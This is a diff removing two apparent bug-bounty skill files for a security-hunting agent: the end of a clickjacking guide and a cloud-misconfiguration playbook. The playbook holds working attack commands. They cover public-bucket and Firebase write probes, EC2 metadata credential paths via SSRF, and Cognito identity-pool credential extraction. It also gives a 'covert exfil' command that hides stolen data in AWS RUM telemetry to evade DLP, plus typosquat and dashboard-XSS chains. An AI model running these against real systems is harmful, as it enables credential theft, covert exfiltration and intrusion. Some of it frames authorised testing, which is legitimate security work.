- - Login / authentication pages — force login with attacker credentials
14
- - Money transfer / checkout / "confirm payment" buttons
15
- - Account settings (email change, password change, 2FA disable)
16
- - OAuth / social-login "Authorize app" confirmation dialogs
17
- - Admin actions (delete, promote user, change role)
18
-
19
- ## Protection Headers
20
-
21
- Two mechanisms prevent framing:
22
-
23
- ```
24
- X-Frame-Options: DENY # strongest — blocks all framing
25
- X-Frame-Options: SAMEORIGIN # allows same-origin frames only
26
- Content-Security-Policy: frame-ancestors 'none' # CSP equivalent of DENY
27
- Content-Security-Policy: frame-ancestors 'self' # CSP equivalent of SAMEORIGIN
28
- ```
29
-
30
- If NEITHER is present, the page is frameable from any origin.
31
-
32
- ## How to Test
33
-
34
- Header-absence is the **trigger for investigation, not the finding**. Two steps:
35
-
36
- **Step 1 — Header check (screening).** Fetch the target page and inspect the response headers:
37
-
38
- ```
39
- curl -sI https://target.example/account/transfer | grep -iE 'x-frame-options|content-security-policy'
40
- ```
41
- If BOTH `X-Frame-Options` and CSP `frame-ancestors` are absent, the page is a *candidate*. If either is present and restrictive (`DENY`/`SAMEORIGIN`/`frame-ancestors 'none'|'self'`), stop — it's protected.
42
-
43
- **Step 2 — Prove it actually frames and clicks (required for a real finding).** Build a minimal PoC and load it in a real browser:
44
-
45
- ```html
46
- <!doctype html>
47
- <h1>Win a prize — click below</h1>
48
- <iframe src="https://target.example/account/transfer"
49
- style="opacity:0.1;position:absolute;top:0;left:0;width:1000px;height:800px"></iframe>
50
- ```
51
- Confirm ALL of the following, or it is not exploitable:
52
- - The page **actually renders inside the iframe** (no framebusting JS that blanks/redirects it — e.g. `if(top!==self)` breakout, or a `Sec-Fetch-Dest`/JS frame check).
53
- - The **sensitive action still works while framed** — critically, the action must succeed *cross-site*. If it relies on a session cookie set `SameSite=Lax` or `SameSite=Strict` (the modern default), the cookie is **not** sent on the cross-site framed request, and the clickjack fails. Verify the victim's authenticated state carries into the frame.
54
- - The target is a **state-changing action** (transfer, settings/email/password change, 2FA disable, OAuth authorize, admin action), not a read-only page.
55
-
56
- **Strategy:** target the most sensitive action pages first — severity scales directly with what the victim is tricked into doing.
57
-
58
- ## False Positives
59
-
60
- - Public, read-only pages (home/marketing) lacking frame protection are low/informational — no sensitive action to redress.
61
- - APIs and non-HTML endpoints (JSON, images) are not clickjacking targets.
62
- - **Header-absence alone is NOT a finding.** SameSite cookies, framebusting JS, or the lack of any sensitive framed action can each fully defeat it — which is why Step 2 is mandatory.
63
-
64
- ## Proof Requirements
65
-
66
- A valid clickjacking report shows: (1) the target page rendered inside an attacker-controlled iframe in a real browser, (2) a sensitive state-changing action reachable by a framed click while the victim is authenticated (cookies survive the cross-site context), and (3) a screenshot/recording of the overlay. Reporting missing headers with no working frame PoC is a documentation-quality issue, not a vulnerability.
@@ -1,195 +0,0 @@
1
- ---
2
- name: hunt-cloud-misconfig
3
- description: "Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services)."
4
- sources: hackerone_public, public_research
5
- report_count: 6
6
- ---
7
-
8
- ## 16. CLOUD / INFRA MISCONFIGS
9
-
10
- ### S3 / GCS / Azure Blob
11
- ```bash
12
- # S3 listing
13
- curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
14
- aws s3 ls s3://target-bucket-name --no-sign-request
15
-
16
- # Try common bucket names
17
- for name in target target-backup target-assets target-prod target-staging; do
18
- curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
19
- done
20
-
21
- # Firebase open rules
22
- curl -s "https://TARGET-APP.firebaseio.com/.json" # read
23
- curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
24
- ```
25
-
26
- ### EC2 Metadata (via SSRF)
27
- ```bash
28
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
29
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
30
- ```
31
-
32
- ### Exposed Admin Panels
33
- ```
34
- /jenkins /grafana /kibana /elasticsearch /swagger-ui.html
35
- /phpMyAdmin /.env /config.json /api-docs /server-status
36
- ```
37
-
38
- ---
39
-
40
- ### Jenkins SSO-restriction failure → Script Console RCE
41
- An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.
42
-
43
- ### Exposed message broker (RabbitMQ / AMQP) with default creds
44
- Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
45
-
46
- ## Local-verification toolchain
47
-
48
- For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
49
-
50
- ```bash
51
- # LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
52
- docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
53
-
54
- # awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
55
- export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
56
- export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
57
- export AWS_ENDPOINT_URL=http://localhost:14566
58
- export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
59
- ```
60
-
61
- Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.
62
-
63
- ---
64
-
65
- ## CloudWatch RUM Weaponization (2024-2026 surface)
66
-
67
- AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
68
-
69
- ### Detection — JS bundle fingerprints
70
-
71
- **Snippet-style (most common, embedded in `<head>`):**
72
- ```javascript
73
- (function(n,i,v,r,s,c,x,z){...})(
74
- 'cwr',
75
- '00000000-0000-0000-0000-000000000000', // applicationId (UUID)
76
- '1.0.0',
77
- 'us-east-1',
78
- 'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
79
- {
80
- sessionSampleRate: 1,
81
- guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
82
- identityPoolId: "us-east-1:abcd1234-...",
83
- endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
84
- telemetries: ["errors","performance","http"]
85
- }
86
- );
87
- ```
88
-
89
- **NPM-style (aws-rum-web package):**
90
- ```javascript
91
- import { AwsRum, AwsRumConfig } from 'aws-rum-web';
92
- const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
93
- const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
94
- ```
95
-
96
- ### Regex set for recon
97
-
98
- ```bash
99
- # Detect RUM init
100
- grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
101
-
102
- # Extract applicationId (UUID v4)
103
- grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
104
-
105
- # Extract identityPoolId (region:UUID)
106
- grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
107
-
108
- # Extract guestRoleArn (leaks AWS account ID + role name)
109
- grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
110
-
111
- # Endpoint reveals region
112
- grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
113
- ```
114
-
115
- ### Attack chains
116
-
117
- **Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
118
-
119
- ```bash
120
- aws cognito-identity get-id \
121
- --identity-pool-id "us-east-1:abcd1234-..." \
122
- --region us-east-1 --no-sign-request
123
- aws cognito-identity get-credentials-for-identity \
124
- --identity-id "us-east-1:<returned-uuid>" \
125
- --region us-east-1 --no-sign-request
126
- # → STS creds; export and:
127
- aws sts get-caller-identity # confirm role
128
- aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
129
- # Automate: pacu / enumerate-iam.py
130
- ```
131
-
132
- Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
133
-
134
- **Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
135
-
136
- ```bash
137
- aws rum put-rum-events \
138
- --id $(uuidgen) \
139
- --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
140
- --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
141
- --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
142
- --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
143
- --region us-east-1
144
- ```
145
-
146
- Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
147
-
148
- **Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main.<hash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.
149
-
150
- **Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
151
-
152
- ### Severity rubric
153
-
154
- | Finding | Severity | Justification |
155
- |---|---|---|
156
- | `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |
157
- | `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil / RCE depending on resource |
158
- | `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |
159
- | `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |
160
- | RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |
161
- | RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |
162
- | Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |
163
-
164
- ### Disclosed cases / authoritative writeups
165
-
166
- No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
167
-
168
- - **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023)** — establishes the attack class. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
169
- - **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu)
170
- - **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
171
- - **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
172
- - **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
173
- - **aws-observability/aws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com/aws-observability/aws-rum-web](https://github.com/aws-observability/aws-rum-web/issues)
174
-
175
- ### Validation checklist (before reporting)
176
-
177
- 1. Extract `identityPoolId` from page source.
178
- 2. Confirm pool allows unauth identities (`get-id` succeeds without auth).
179
- 3. Confirm `get-credentials-for-identity` returns STS creds.
180
- 4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.
181
- 5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.
182
- 6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
183
- 7. **Do not** modify/delete data even if permitted — read-only PoC only.
184
-
185
- ---
186
-
187
- ## Related Skills & Chains
188
-
189
- - **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.
190
- - **`cloud-iam-deep`** — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.
191
- - **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
192
- - **`supply-chain-attack-recon`** — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
193
- - **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
194
- - **`triage-validation`** — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.
195
-